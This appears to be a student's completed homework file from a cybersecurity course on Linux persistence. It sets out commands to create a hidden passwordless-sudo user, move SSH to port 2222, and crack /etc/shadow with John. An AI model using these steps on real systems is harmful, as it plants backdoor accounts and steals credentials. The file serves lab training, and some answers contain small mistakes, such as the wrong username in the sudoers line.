## **Week 6 Homework Submission File: Advanced Bash - Owning the System**

Please edit this file by adding the solution commands on the line below the prompt.

Save and submit the completed file for your homework submission.

**Step 1: Shadow People**

1. Create a secret user named sysd. Make sure this user doesn't have a home directory created:  
   * Your solution command here
     1. adduser --no-create-home sysd
2. Give your secret user a password:  
   * Your solution command here
     1. hacker123
3. Give your secret user a system UID < 1000:  
   * Your solution command here
     1. usermod -u 666 sysd
4. Give your secret user the same GID:  
   * Your solution command here
     1. groupmod -g 666 sysd
5. Give your secret user full sudo access without the need for a password:  
   * Your solution command here
     1. usermod -aG sudo sysd
     2. syd ALL=(ALL) NOPASSWD:ALL (put under visudo /etc/sudoers)
6. Test that sudo access works without your password:
   * Your bash commands here
     1. sudo apt-get update
     2. sudo -l   
        User sysd may run the following commands on scavenger-hunt:  
        (ALL : ALL) ALL  
        (ALL) NOPASSWD: ALL

**Step 2: Smooth Sailing**

1. Edit the sshd\_config file:  
     
    Your bash commands here
   1. nano /etc/ssh/sshd\_config
   2. Port 2222

**Step 3: Testing Your Configuration Update**

1. Restart the SSH service:  
   * Your solution command here
     1. systemctl restart ssh.service
2. Exit the root account:  
   * Your solution command here
     1. exit
3. SSH to the target machine using your sysd account and port 2222:  
   * Your solution command here
     1. ssh sysadmin@192.168.6.105 -p 2222
4. Use sudo to switch to the root user:  
   * Your solution command here
     1. sudo su

**Step 4: Crack All the Passwords**

1. SSH back to the system using your sysd account and port 2222:  
   * Your solution command here
     1. ssh sysadmin@192.168.6.105 -p 2222
2. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:  
   * Your solution command here
     1. sudo su
     2. john /etc/shadow/